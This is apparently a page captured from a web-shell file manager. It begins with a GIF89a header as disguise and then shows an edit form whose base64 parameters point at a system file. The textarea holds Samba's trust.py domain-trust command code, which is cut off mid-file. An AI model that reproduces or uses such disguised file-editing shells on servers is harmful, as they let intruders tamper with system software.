GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>trust.py<form method=post action="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4%3D&f=dHJ1c3QucHk%3D"><input name="f" value="trust.py"><textarea name="t"># domain management - domain trust
#
# Copyright Matthias Dieter Wallnoefer 2009
# Copyright Andrew Kroeger 2009
# Copyright Jelmer Vernooij 2007-2012
# Copyright Giampaolo Lauria 2011
# Copyright Matthieu Patou &lt;mat@matws.net&gt; 2011
# Copyright Andrew Bartlett 2008-2015
# Copyright Stefan Metzmacher 2012
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see &lt;http://www.gnu.org/licenses/&gt;.
#

import ctypes
from getpass import getpass

import ldb
import samba.getopt as options
import samba.ntacls
from samba import NTSTATUSError, ntstatus, string_to_byte_array, werror
from samba.auth import system_session
from samba.dcerpc import drsblobs, lsa, nbt, netlogon, security
from samba.net import Net
from samba.netcmd import Command, CommandError, Option, SuperCommand
from samba.samdb import SamDB
from samba.trust_utils import CreateTrustedDomainRelax


class LocalDCCredentialsOptions(options.CredentialsOptions):
    def __init__(self, parser):
        options.CredentialsOptions.__init__(self, parser, special_name=&quot;local-dc&quot;)


class DomainTrustCommand(Command):
    &quot;&quot;&quot;List domain trusts.&quot;&quot;&quot;

    def __init__(self):
        Command.__init__(self)
        self.local_lp = None

        self.local_server = None
        self.local_binding_string = None
        self.local_creds = None

        self.remote_server = None
        self.remote_binding_string = None
        self.remote_creds = None

    def _uint32(self, v):
        return ctypes.c_uint32(v).value

    def check_runtime_error(self, runtime, val):
        if runtime is None:
            return False

        err32 = self._uint32(runtime.args[0])
        if err32 == val:
            return True

        return False

    class LocalRuntimeError(CommandError):
        def __init__(exception_self, self, runtime, message):
            err32 = self._uint32(runtime.args[0])
            errstr = runtime.args[1]
            msg = &quot;LOCAL_DC[%s]: %s - ERROR(0x%08X) - %s&quot; % (
                  self.local_server, message, err32, errstr)
            CommandError.__init__(exception_self, msg)

    class RemoteRuntimeError(CommandError):
        def __init__(exception_self, self, runtime, message):
            err32 = self._uint32(runtime.args[0])
            errstr = runtime.args[1]
            msg = &quot;REMOTE_DC[%s]: %s - ERROR(0x%08X) - %s&quot; % (
                  self.remote_server, message, err32, errstr)
            CommandError.__init__(exception_self, msg)

    class LocalLdbError(CommandError):
        def __init__(exception_self, self, ldb_error, message):
            errval = ldb_error.args[0]
            errstr = ldb_error.args[1]
            msg = &quot;LOCAL_DC[%s]: %s - ERROR(%d) - %s&quot; % (
                  self.local_server, message, errval, errstr)
            CommandError.__init__(exception_self, msg)

    def setup_local_server(self, sambaopts, localdcopts):
        if self.local_server is not None:
            return self.local_server

        lp = sambaopts.get_loadparm()

        local_server = localdcopts.ipaddress
        if local_server is None:
            server_role = lp.server_role()
            if server_role != &quot;ROLE_ACTIVE_DIRECTORY_DC&quot;:
                raise CommandError(&quot;Invalid server_role %s&quot; % (server_role))
            local_server = lp.get('netbios name')
            local_transport = &quot;ncalrpc&quot;
            local_binding_options = &quot;&quot;
            local_binding_options += &quot;,auth_type=ncalrpc_as_system&quot;
            local_ldap_url = None
            local_creds = None
        else:
            local_transport = &quot;ncacn_np&quot;
            local_binding_options = &quot;&quot;
            local_ldap_url = &quot;ldap://%s&quot; % local_server
            local_creds = localdcopts.get_credentials(lp)

        self.local_lp = lp

        self.local_server = local_server
        self.local_binding_string = &quot;%s:%s[%s]&quot; % (local_transport, local_server, local_binding_options)
        self.local_ldap_url = local_ldap_url
        self.local_creds = local_creds
        return self.local_server

    def new_local_lsa_connection(self):
        return lsa.lsarpc(self.local_binding_string, self.local_lp, self.local_creds)

    def new_local_netlogon_connection(self):
        return netlogon.netlogon(self.local_binding_string, self.local_lp, self.local_creds)

    def new_local_ldap_connection(self):
        return SamDB(url=self.local_ldap_url,
                     session_info=system_session(),
                     credentials=self.local_creds,
                     lp=self.local_lp)

    def setup_remote_server(self, credopts, domain,
                            require_pdc=True,
                            require_writable=True):

        if require_pdc:
            assert require_writable

        if self.remote_server is not None:
            return self.remote_server

        self.remote_server = &quot;__unknown__remote_server__.%s&quot; % domain
        assert self.local_server is not None

        remote_creds = credopts.get_credentials(self.local_lp)
        remote_server = credopts.ipaddress
        remote_binding_options = &quot;&quot;

        # TODO: we should also support NT4 domains
        # we could use local_netlogon.netr_DsRGetDCNameEx2() with the remote domain name
        # and delegate NBT or CLDAP to the local netlogon server
        try:
            remote_net = Net(remote_creds, self.local_lp, server=remote_server)
            remote_flags = nbt.NBT_SERVER_LDAP | nbt.NBT_SERVER_DS
            if require_writable:
                remote_flags |= nbt.NBT_SERVER_WRITABLE
            if require_pdc:
                remote_flags |= nbt.NBT_SERVER_PDC
            remote_info = remote_net.finddc(flags=remote_flags, domain=domain, address=remote_server)
        except NTSTATUSError as error:
            raise CommandError(&quot;Failed to find a writeable DC for domain '%s': %s&quot; %
                               (domain, error.args[1]))
        except Exception:
            raise CommandError(&quot;Failed to find a writeable DC for domain '%s'&quot; % domain)
        flag_map = {
            nbt.NBT_SERVER_PDC: &quot;PDC&quot;,
            nbt.NBT_SERVER_GC: &quot;GC&quot;,
            nbt.NBT_SERVER_LDAP: &quot;LDAP&quot;,
            nbt.NBT_SERVER_DS: &quot;DS&quot;,
            nbt.NBT_SERVER_KDC: &quot;KDC&quot;,
            nbt.NBT_SERVER_TIMESERV: &quot;TIMESERV&quot;,
            nbt.NBT_SERVER_CLOSEST: &quot;CLOSEST&quot;,
            nbt.NBT_SERVER_WRITABLE: &quot;WRITABLE&quot;,
            nbt.NBT_SERVER_GOOD_TIMESERV: &quot;GOOD_TIMESERV&quot;,
            nbt.NBT_SERVER_NDNC: &quot;NDNC&quot;,
            nbt.NBT_SERVER_SELECT_SECRET_DOMAIN_6: &quot;SELECT_SECRET_DOMAIN_6&quot;,
            nbt.NBT_SERVER_FULL_SECRET_DOMAIN_6: &quot;FULL_SECRET_DOMAIN_6&quot;,
            nbt.NBT_SERVER_ADS_WEB_SERVICE: &quot;ADS_WEB_SERVICE&quot;,
            nbt.NBT_SERVER_DS_8: &quot;DS_8&quot;,
            nbt.NBT_SERVER_DS_9: &quot;DS_9&quot;,
            nbt.NBT_SERVER_DS_10: &quot;DS_10&quot;,
            nbt.NBT_SERVER_HAS_DNS_NAME: &quot;HAS_DNS_NAME&quot;,
            nbt.NBT_SERVER_IS_DEFAULT_NC: &quot;IS_DEFAULT_NC&quot;,
            nbt.NBT_SERVER_FOREST_ROOT: &quot;FOREST_ROOT&quot;,
        }
        server_type_string = self.generic_bitmap_to_string(flag_map,
                                                           remote_info.server_type, names_only=True)
        self.outf.write(&quot;RemoteDC Netbios[%s] DNS[%s] ServerType[%s]\n&quot; % (
                        remote_info.pdc_name,
                        remote_info.pdc_dns_name,
                        server_type_string))

        self.remote_server = remote_info.pdc_dns_name
        self.remote_binding_string = &quot;ncacn_np:%s[%s]&quot; % (self.remote_server, remote_binding_options)
        self.remote_creds = remote_creds
        return self.remote_server

    def new_remote_lsa_connection(self):
        return lsa.lsarpc(self.remote_binding_string, self.local_lp, self.remote_creds)

    def new_remote_netlogon_connection(self):
        return netlogon.netlogon(self.remote_binding_string, self.local_lp, self.remote_creds)

    def get_lsa_info(self, conn, policy_access):
        objectAttr = lsa.ObjectAttribute()
        objectAttr.sec_qos = lsa.QosInfo()

        policy = conn.OpenPolicy2(b''.decode('utf-8'),
                                  objectAttr, policy_access)

        info = conn.QueryInfoPolicy2(policy, lsa.LSA_POLICY_INFO_DNS)

        return (policy, info)

    def get_netlogon_dc_unc(self, conn, server, domain):
        try:
            info = conn.netr_DsRGetDCNameEx2(server,
                                             None, 0, None, None, None,
                                             netlogon.DS_RETURN_DNS_NAME)
            return info.dc_unc
        except RuntimeError:
            return conn.netr_GetDcName(server, domain)

    def get_netlogon_dc_info(self, conn, server):
        info = conn.netr_DsRGetDCNameEx2(server,
                                         None, 0, None, None, None,
                                         netlogon.DS_RETURN_DNS_NAME)
        return info

    def netr_DomainTrust_to_name(self, t):
        if t.trust_type == lsa.LSA_TRUST_TYPE_DOWNLEVEL:
            return t.netbios_name

        return t.dns_name

    def netr_DomainTrust_to_type(self, a, t):
        primary = None
        primary_parent = None
        for _t in a:
            if _t.trust_flags &amp; netlogon.NETR_TRUST_FLAG_PRIMARY:
                primary = _t
                if not _t.trust_flags &amp; netlogon.NETR_TRUST_FLAG_TREEROOT:
                    primary_parent = a[_t.parent_index]
                break

        if t.trust_flags &amp; netlogon.NETR_TRUST_FLAG_IN_FOREST:
            if t is primary_parent:
                return &quot;Parent&quot;

            if t.trust_flags &amp; netlogon.NETR_TRUST_FLAG_TREEROOT:
                return &quot;TreeRoot&quot;

            parent = a[t.parent_index]
            if parent is primary:
                return &quot;Child&quot;

            return &quot;Shortcut&quot;

        if t.trust_attributes &amp; lsa.LSA_TRUST_ATTRIBUTE_FOREST_TRANSITIVE:
            return &quot;Forest&quot;

        return &quot;External&quot;

    def netr_DomainTrust_to_transitive(self, t):
        if t.trust_flags &amp; netlogon.NETR_TRUST_FLAG_IN_FOREST:
            return &quot;Yes&quot;

        if t.trust_attributes &amp; lsa.LSA_TRUST_ATTRIBUTE_NON_TRANSITIVE:
            return &quot;No&quot;

        if t.trust_attributes &amp; lsa.LSA_TRUST_ATTRIBUTE_FOREST_TRANSITIVE:
            return &quot;Yes&quot;

        return &quot;No&quot;

    def netr_DomainTrust_to_direction(self, t):
        if t.trust_flags &amp; netlogon.NETR_TRUST_FLAG_INBOUND and \
           t.trust_flags &amp; netlogon.NETR_TRUST_FLAG_OUTBOUND:
            return &quot;BOTH&quot;

        if t.trust_flags &amp; netlogon.NETR_TRUST_FLAG_INBOUND:
            return &quot;INCOMING&quot;

        if t.trust_flags &amp; netlogon.NETR_TRUST_FLAG_OUTBOUND:
            return &quot;OUTGOING&quot;

        return &quot;INVALID&quot;

    def generic_enum_to_string(self, e_dict, v, names_only=False):
        try:
            w = e_dict[v]
        except KeyError:
            v32 = self._uint32(v)
            w = &quot;__unknown__%08X__&quot; % v32

        r = &quot;0x%x (%s)&quot; % (v, w)
        return r

    def generic_bitmap_to_string(self, b_dict, v, names_only=False):

        s = []

        c = v
        for b in sorted(b_dict.keys()):
            if not (c &amp; b):
                continue
            c &amp;= ~b
            s += [b_dict[b]]

        if c != 0:
            c32 = self._uint32(c)
            s += [&quot;__unknown_%08X__&quot; % c32]

        w = &quot;,&quot;.join(s)
        if names_only:
            return w
        r = &quot;0x%x (%s)&quot; % (v, w)
        return r

    def trustType_string(self, v):
        types = {
            lsa.LSA_TRUST_TYPE_DOWNLEVEL: &quot;DOWNLEVEL&quot;,
            lsa.LSA_TRUST_TYPE_UPLEVEL: &quot;UPLEVEL&quot;,
            lsa.LSA_TRUST_TYPE_MIT: &quot;MIT&quot;,
            lsa.LSA_TRUST_TYPE_DCE: &quot;DCE&quot;,
        }
        return self.generic_enum_to_string(types, v)

    def trustDirection_string(self, v):
        directions = {
            lsa.LSA_TRUST_DIRECTION_INBOUND |
            lsa.LSA_TRUST_DIRECTION_OUTBOUND: &quot;BOTH&quot;,
            lsa.LSA_TRUST_DIRECTION_INBOUND: &quot;INBOUND&quot;,
            lsa.LSA_TRUST_DIRECTION_OUTBOUND: &quot;OUTBOUND&quot;,
        }
        return self.generic_enum_to_string(directions, v)

    def trustAttributes_string(self, v):
        attributes = {
            lsa.LSA_TRUST_ATTRIBUTE_NON_TRANSITIVE: &quot;NON_TRANSITIVE&quot;,
            lsa.LSA_TRUST_ATTRIBUTE_UPLEVEL_ONLY: &quot;UPLEVEL_ONLY&quot;,
            lsa.LSA_TRUST_ATTRIBUTE_QUARANTINED_DOMAIN: &quot;QUARANTINED_DOMAIN&quot;,
            lsa.LSA_TRUST_ATTRIBUTE_FOREST_TRANSITIVE: &quot;FOREST_TRANSITIVE&quot;,
            lsa.LSA_TRUST_ATTRIBUTE_CROSS_ORGANIZATION: &quot;CROSS_ORGANIZATION&quot;,
            lsa.LSA_TRUST_ATTRIBUTE_WITHIN_FOREST: &quot;WITHIN_FOREST&quot;,
            lsa.LSA_TRUST_ATTRIBUTE_TREAT_AS_EXTERNAL: &quot;TREAT_AS_EXTERNAL&quot;,
            lsa.LSA_TRUST_ATTRIBUTE_USES_RC4_ENCRYPTION: &quot;USES_RC4_ENCRYPTION&quot;,
        }
        return self.generic_bitmap_to_string(attributes, v)

    def kerb_EncTypes_string(self, v):
        enctypes = {
            security.KERB_ENCTYPE_DES_CBC_CRC: &quot;DES_CBC_CRC&quot;,
            security.KERB_ENCTYPE_DES_CBC_MD5: &quot;DES_CBC_MD5&quot;,
            security.KERB_ENCTYPE_RC4_HMAC_MD5: &quot;RC4_HMAC_MD5&quot;,
            security.KERB_ENCTYPE_AES128_CTS_HMAC_SHA1_96: &quot;AES128_CTS_HMAC_SHA1_96&quot;,
            security.KERB_ENCTYPE_AES256_CTS_HMAC_SHA1_96: &quot;AES256_CTS_HMAC_SHA1_96&quot;,
            security.KERB_ENCTYPE_AES256_CTS_HMAC_SHA1_96_SK: &quot;AES256_CTS_HMAC_SHA1_96-SK&quot;,
            security.KERB_ENCTYPE_FAST_SUPPORTED: &quot;FAST_SUPPORTED&quot;,
            security.KERB_ENCTYPE_COMPOUND_IDENTITY_SUPPORTED: &quot;COMPOUND_IDENTITY_SUPPORTED&quot;,
            security.KERB_ENCTYPE_CLAIMS_SUPPORTED: &quot;CLAIMS_SUPPORTED&quot;,
            security.KERB_ENCTYPE_RESOURCE_SID_COMPRESSION_DISABLED: &quot;RESOURCE_SID_COMPRESSION_DISABLED&quot;,
        }
        return self.generic_bitmap_to_string(enctypes, v)

    def entry_tln_status(self, e_flags, ):
        if e_flags == 0:
            return &quot;Status[Enabled]&quot;

        flags = {
            lsa.LSA_TLN_DISABLED_NEW: &quot;Disabled-New&quot;,
            lsa.LSA_TLN_DISABLED_ADMIN: &quot;Disabled&quot;,
            lsa.LSA_TLN_DISABLED_CONFLICT: &quot;Disabled-Conflicting&quot;,
        }
        return &quot;Status[%s]&quot; % self.generic_bitmap_to_string(flags, e_flags, names_only=True)

    def entry_dom_status(self, e_flags):
        if e_flags == 0:
            return &quot;Status[Enabled]&quot;

        flags = {
            lsa.LSA_SID_DISABLED_ADMIN: &quot;Disabled-SID&quot;,
            lsa.LSA_SID_DISABLED_CONFLICT: &quot;Disabled-SID-Conflicting&quot;,
            lsa.LSA_NB_DISABLED_ADMIN: &quot;Disabled-NB&quot;,
            lsa.LSA_NB_DISABLED_CONFLICT: &quot;Disabled-NB-Conflicting&quot;,
        }
        return &quot;Status[%s]&quot; % self.generic_bitmap_to_string(flags, e_flags, names_only=True)

    def write_forest_trust_info(self, fti, tln=None, collisions=None):
        if tln is not None:
            tln_string = &quot; TDO[%s]&quot; % tln
        else:
            tln_string = &quot;&quot;

        self.outf.write(&quot;Namespaces[%d]%s:\n&quot; % (
                        len(fti.entries), tln_string))

        for i, e in enumerate(fti.entries):

            flags = e.flags
            collision_string = &quot;&quot;

            if collisions is not None:
                for c in collisions.entries:
                    if c.index != i:
                        continue
                    flags = c.flags
                    collision_string = &quot; Collision[%s]&quot; % (c.name.string)

            d = e.forest_trust_data
            if e.type == lsa.LSA_FOREST_TRUST_TOP_LEVEL_NAME:
                self.outf.write(&quot;TLN: %-32s DNS[*.%s]%s\n&quot; % (
                                self.entry_tln_status(flags),
                                d.string, collision_string))
            elif e.type == lsa.LSA_FOREST_TRUST_TOP_LEVEL_NAME_EX:
                self.outf.write(&quot;TLN_EX: %-29s DNS[*.%s]\n&quot; % (
                                &quot;&quot;, d.string))
            elif e.type == lsa.LSA_FOREST_TRUST_DOMAIN_INFO:
                self.outf.write(&quot;DOM: %-32s DNS[%s] Netbios[%s] SID[%s]%s\n&quot; % (
                                self.entry_dom_status(flags),
                                d.dns_domain_name.string,
                                d.netbios_domain_name.string,
                                d.domain_sid, collision_string))
        return


class cmd_domain_trust_list(DomainTrustCommand):
    &quot;&quot;&quot;List domain trusts.&quot;&quot;&quot;

    synopsis = &quot;%prog [options]&quot;

    takes_optiongroups = {
        &quot;sambaopts&quot;: options.SambaOptions,
        &quot;versionopts&quot;: options.VersionOptions,
        &quot;localdcopts&quot;: LocalDCCredentialsOptions,
    }

    takes_options = [
    ]

    def run(self, sambaopts=None, versionopts=None, localdcopts=None):

        local_server = self.setup_local_server(sambaopts, localdcopts)
        try:
            local_netlogon = self.new_local_netlogon_connection()
        except RuntimeError as error:
            raise self.LocalRuntimeError(self, error, &quot;failed to connect netlogon server&quot;)

        try:
            local_netlogon_trusts = \
                local_netlogon.netr_DsrEnumerateDomainTrusts(local_server,
                                                             netlogon.NETR_TRUST_FLAG_IN_FOREST |
                                                             netlogon.NETR_TRUST_FLAG_OUTBOUND |
                                                             netlogon.NETR_TRUST_FLAG_INBOUND)
        except RuntimeError as error:
            if self.check_runtime_error(error, werror.WERR_RPC_S_PROCNUM_OUT_OF_RANGE):
                # TODO: we could implement a fallback to lsa.EnumTrustDom()
                raise CommandError(&quot;LOCAL_DC[%s]: netr_DsrEnumerateDomainTrusts not supported.&quot; % (
                                   local_server))
            raise self.LocalRuntimeError(self, error, &quot;netr_DsrEnumerateDomainTrusts failed&quot;)

        a = local_netlogon_trusts.array
        for t in a:
            if t.trust_flags &amp; netlogon.NETR_TRUST_FLAG_PRIMARY:
                continue
            self.outf.write(&quot;%-14s %-15s %-19s %s\n&quot; % (
                            &quot;Type[%s]&quot; % self.netr_DomainTrust_to_type(a, t),
                            &quot;Transitive[%s]&quot; % self.netr_DomainTrust_to_transitive(t),
                            &quot;Direction[%s]&quot; % self.netr_DomainTrust_to_direction(t),
                            &quot;Name[%s]&quot; % self.netr_DomainTrust_to_name(t)))
        return


class cmd_domain_trust_show(DomainTrustCommand):
    &quot;&quot;&quot;Show trusted domain details.&quot;&quot;&quot;

    synopsis = &quot;%prog NAME [options]&quot;

    takes_optiongroups = {
        &quot;sambaopts&quot;: options.SambaOptions,
        &quot;versionopts&quot;: options.VersionOptions,
        &quot;localdcopts&quot;: LocalDCCredentialsOptions,
    }

    takes_options = [
    ]

    takes_args = [&quot;domain&quot;]

    def run(self, domain, sambaopts=None, versionopts=None, localdcopts=None):

        self.setup_local_server(sambaopts, localdcopts)
        try:
            local_lsa = self.new_local_lsa_connection()
        except RuntimeError as error:
            raise self.LocalRuntimeError(self, error, &quot;failed to connect lsa server&quot;)

        try:
            local_policy_access = lsa.LSA_POLICY_VIEW_LOCAL_INFORMATION
            (local_policy, local_lsa_info) = self.get_lsa_info(local_lsa, local_policy_access)
        except RuntimeError as error:
            raise self.LocalRuntimeError(self, error, &quot;failed to query LSA_POLICY_INFO_DNS&quot;)

        self.outf.write(&quot;LocalDomain Netbios[%s] DNS[%s] SID[%s]\n&quot; % (
                        local_lsa_info.name.string,
                        local_lsa_info.dns_domain.string,
                        local_lsa_info.sid))

        lsaString = lsa.String()
        lsaString.string = domain
        try:
            local_tdo_full = \
                local_lsa.QueryTrustedDomainInfoByName(local_policy,
                                                       lsaString,
                                                       lsa.LSA_TRUSTED_DOMAIN_INFO_FULL_INFO)
            local_tdo_info = local_tdo_full.info_ex
            local_tdo_posix = local_tdo_full.posix_offset
        except NTSTATUSError as error:
            if self.check_runtime_error(error, ntstatus.NT_STATUS_OBJECT_NAME_NOT_FOUND):
                raise CommandError(&quot;trusted domain object does not exist for domain [%s]&quot; % domain)

            raise self.LocalRuntimeError(self, error, &quot;QueryTrustedDomainInfoByName(FULL_INFO) failed&quot;)

        try:
            local_tdo_enctypes = \
                local_lsa.QueryTrustedDomainInfoByName(local_policy,
                                                       lsaString,
                                                       lsa.LSA_TRUSTED_DOMAIN_SUPPORTED_ENCRYPTION_TYPES)
        except NTSTATUSError as error:
            if self.check_runtime_error(error, ntstatus.NT_STATUS_INVALID_PARAMETER):
                error = None
            if self.check_runtime_error(error, ntstatus.NT_STATUS_INVALID_INFO_CLASS):
                error = None

            if error is not None:
                raise self.LocalRuntimeError(self, error,
                                             &quot;QueryTrustedDomainInfoByName(SUPPORTED_ENCRYPTION_TYPES) failed&quot;)

            local_tdo_enctypes = lsa.TrustDomainInfoSupportedEncTypes()
            local_tdo_enctypes.enc_types = 0

        try:
            local_tdo_forest = None
            if local_tdo_info.trust_attributes &amp; lsa.LSA_TRUST_ATTRIBUTE_FOREST_TRANSITIVE:
                local_tdo_forest = \
                    local_lsa.lsaRQueryForestTrustInformation(local_policy,
                                                              lsaString,
                                                              lsa.LSA_FOREST_TRUST_DOMAIN_INFO)
        except RuntimeError as error:
            if self.check_runtime_error(error, ntstatus.NT_STATUS_RPC_PROCNUM_OUT_OF_RANGE):
                error = None
            if self.check_runtime_error(error, ntstatus.NT_STATUS_NOT_FOUND):
                error = None
            if error is not None:
                raise self.LocalRuntimeError(self, error, &quot;lsaRQueryForestTrustInformation failed&quot;)

            local_tdo_forest = lsa.ForestTrustInformation()
            local_tdo_forest.count = 0
            local_tdo_forest.entries = []

        self.outf.write(&quot;TrustedDomain:\n\n&quot;)
        self.outf.write(&quot;NetbiosName:    %s\n&quot; % local_tdo_info.netbios_name.string)
        if local_tdo_info.netbios_name.string != local_tdo_info.domain_name.string:
            self.outf.write(&quot;DnsName:        %s\n&quot; % local_tdo_info.domain_name.string)
        self.outf.write(&quot;SID:            %s\n&quot; % local_tdo_info.sid)
        self.outf.write(&quot;Type:           %s\n&quot; % self.trustType_string(local_tdo_info.trust_type))
        self.outf.write(&quot;Direction:      %s\n&quot; % self.trustDirection_string(local_tdo_info.trust_direction))
        self.outf.write(&quot;Attributes:     %s\n&quot; % self.trustAttributes_string(local_tdo_info.trust_attributes))
        posix_offset_u32 = ctypes.c_uint32(local_tdo_posix.posix_offset).value
        posix_offset_i32 = ctypes.c_int32(local_tdo_posix.posix_offset).value
        self.outf.write(&quot;PosixOffset:    0x%08X (%d)\n&quot; % (posix_offset_u32, posix_offset_i32))
        self.outf.write(&quot;kerb_EncTypes:  %s\n&quot; % self.kerb_EncTypes_string(local_tdo_enctypes.enc_types))

        if local_tdo_info.trust_attributes &amp; lsa.LSA_TRUST_ATTRIBUTE_FOREST_TRANSITIVE:
            self.write_forest_trust_info(local_tdo_forest,
                                         tln=local_tdo_info.domain_name.string)

        return

class cmd_domain_trust_modify(DomainTrustCommand):
    &quot;&quot;&quot;Show trusted domain details.&quot;&quot;&quot;

    synopsis = &quot;%prog NAME [options]&quot;

    takes_optiongroups = {
        &quot;sambaopts&quot;: options.SambaOptions,
        &quot;versionopts&quot;: options.VersionOptions,
        &quot;localdcopts&quot;: LocalDCCredentialsOptions,
    }

    takes_options = [
        Option(&quot;--use-aes-keys&quot;, action=&quot;store_true&quot;,
               help=&quot;The trust uses AES kerberos keys.&quot;,
               dest='use_aes_keys',
               default=None),
        Option(&quot;--no-aes-keys&quot;, action=&quot;store_true&quot;,
               help=&quot;The trust does not have any support for AES kerberos keys.&quot;,
               dest='disable_aes_keys',
               default=None),
        Option(&quot;--raw-kerb-enctypes&quot;, action=&quot;store&quot;,
               help=&quot;The raw kerberos enctype bits&quot;,
               dest='kerb_enctypes',
               default=None),
    ]

    takes_args = [&quot;domain&quot;]

    def run(self, domain, sambaopts=None, versionopts=None, localdcopts=None,
            disable_aes_keys=None, use_aes_keys=None, kerb_enctypes=None):

        num_modifications = 0

        enctype_args = 0
        if kerb_enctypes is not None:
            enctype_args += 1
        if use_aes_keys is not None:
            enctype_args += 1
        if disable_aes_keys is not None:
            enctype_args += 1
        if enctype_args &gt; 1:
            raise CommandError(&quot;--no-aes-keys, --use-aes-keys and --raw-kerb-enctypes are mutually exclusive&quot;)
        if enctype_args == 1:
            num_modifications += 1

        if num_modifications == 0:
            raise CommandError(&quot;modification arguments are required, try --help&quot;)

        self.setup_local_server(sambaopts, localdcopts)
        try:
            local_lsa = self.new_local_lsa_connection()
        except RuntimeError as error:
            raise self.LocalRuntimeError(self, error, &quot;failed to connect to lsa server&quot;)

        try:
            local_policy_access = lsa.LSA_POLICY_VIEW_LOCAL_INFORMATION
            local_policy_access |= lsa.LSA_POLICY_TRUST_ADMIN
            (local_policy, local_lsa_info) = self.get_lsa_info(local_lsa, local_policy_access)
        except RuntimeError as error:
            raise self.LocalRuntimeError(self, error, &quot;failed to query LSA_POLICY_INFO_DNS&quot;)

        self.outf.write(&quot;LocalDomain Netbios[%s] DNS[%s] SID[%s]\n&quot; % (
                        local_lsa_info.name.string,
                        local_lsa_info.dns_domain.string,
                        local_lsa_info.sid))

        if enctype_args == 1:
            lsaString = lsa.String()
            lsaString.string = domain

            try:
                local_tdo_enctypes = \
                    local_lsa.QueryTrustedDomainInfoByName(local_policy,
                                                           lsaString,
                                                           lsa.LSA_TRUSTED_DOMAIN_SUPPORTED_ENCRYPTION_TYPES)
            except NTSTATUSError as error:
                if self.check_runtime_error(error, ntstatus.NT_STATUS_INVALID_PARAMETER):
                    error = None
                if self.check_runtime_error(error, ntstatus.NT_STATUS_INVALID_INFO_CLASS):
                    error = None

                if error is not None:
                    raise self.LocalRuntimeError(self, error,
                                                 &quot;QueryTrustedDomainInfoByName(SUPPORTED_ENCRYPTION_TYPES) failed&quot;)

                local_tdo_enctypes = lsa.TrustDomainInfoSupportedEncTypes()
                local_tdo_enctypes.enc_types = 0

            self.outf.write(&quot;Old kerb_EncTypes:  %s\n&quot; % self.kerb_EncTypes_string(local_tdo_enctypes.enc_types))

            enc_types = lsa.TrustDomainInfoSupportedEncTypes()
            if kerb_enctypes is not None:
                enc_types.enc_types = int(kerb_enctypes, base=0)
            elif use_aes_keys is not None:
                enc_types.enc_types = security.KERB_ENCTYPE_AES128_CTS_HMAC_SHA1_96
                enc_types.enc_types |= security.KERB_ENCTYPE_AES256_CTS_HMAC_SHA1_96
            elif disable_aes_keys is not None:
                # CVE-2022-37966: Trust objects are no longer assumed to support
                # RC4, so we must indicate support explicitly.
                enc_types.enc_types = security.KERB_ENCTYPE_RC4_HMAC_MD5
            else:
                raise CommandError(&quot;Internal error should be checked above&quot;)

            if enc_types.enc_types != local_tdo_enctypes.enc_types:
                try:
                    local_tdo_enctypes = \
                        local_lsa.SetTrustedDomainInfoByName(local_policy,
                                                             lsaString,
                                                             lsa.LSA_TRUSTED_DOMAIN_SUPPORTED_ENCRYPTION_TYPES,
                                                             enc_types)
                    self.outf.write(&quot;New kerb_EncTypes:  %s\n&quot; % self.kerb_EncTypes_string(enc_types.enc_types))
                except NTSTATUSError as error:
                    if error is not None:
                        raise self.LocalRuntimeError(self, error,
                                                     &quot;SetTrustedDomainInfoByName(SUPPORTED_ENCRYPTION_TYPES) failed&quot;)
            else:
                self.outf.write(&quot;No kerb_EncTypes update needed\n&quot;)

        return

class cmd_domain_trust_create(DomainTrustCommand):
    &quot;&quot;&quot;Create a domain or forest trust.&quot;&quot;&quot;

    synopsis = &quot;%prog DOMAIN [options]&quot;

    takes_optiongroups = {
        &quot;sambaopts&quot;: options.SambaOptions,
        &quot;versionopts&quot;: options.VersionOptions,
        &quot;credopts&quot;: options.CredentialsOptions,
        &quot;localdcopts&quot;: LocalDCCredentialsOptions,
    }

    takes_options = [
        Option(&quot;--type&quot;, type=&quot;choice&quot;, metavar=&quot;TYPE&quot;,
               choices=[&quot;external&quot;, &quot;forest&quot;],
               help=&quot;The type of the trust: 'external' or 'forest'.&quot;,
               dest='trust_type',
               default=&quot;external&quot;),
        Option(&quot;--direction&quot;, type=&quot;choice&quot;, metavar=&quot;DIRECTION&quot;,
               choices=[&quot;incoming&quot;, &quot;outgoing&quot;, &quot;both&quot;],
               help=&quot;The trust direction: 'incoming', 'outgoing' or 'both'.&quot;,
               dest='trust_direction',
               default=&quot;both&quot;),
        Option(&quot;--create-location&quot;, type=&quot;choice&quot;, metavar=&quot;LOCATION&quot;,
               choices=[&quot;local&quot;, &quot;both&quot;],
               help=&quot;Where to create the trusted domain object: 'local' or 'both'.&quot;,
               dest='create_location',
               default=&quot;both&quot;),
        Option(&quot;--cross-organisation&quot;, action=&quot;store_true&quot;,
               help=&quot;The related domains does not belong to the same organisation.&quot;,
               dest='cross_organisation',
               default=False),
        Option(&quot;--quarantined&quot;, type=&quot;choice&quot;, metavar=&quot;yes|no&quot;,
               choices=[&quot;yes&quot;, &quot;no&quot;, None],
               help=&quot;Special SID filtering rules are applied to the trust. &quot;
                    &quot;With --type=external the default is yes. &quot;
                    &quot;With --type=forest the default is no.&quot;,
               dest='quarantined_arg',
               default=None),
        Option(&quot;--not-transitive&quot;, action=&quot;store_true&quot;,
               help=&quot;The forest trust is not transitive.&quot;,
               dest='not_transitive',
               default=False),
        Option(&quot;--treat-as-external&quot;, action=&quot;store_true&quot;,
               help=&quot;The treat the forest trust as external.&quot;,
               dest='treat_as_external',
               default=False),
        Option(&quot;--no-aes-keys&quot;, action=&quot;store_false&quot;,
               help=&quot;The trust does not use AES kerberos keys.&quot;,
               dest='use_aes_keys',
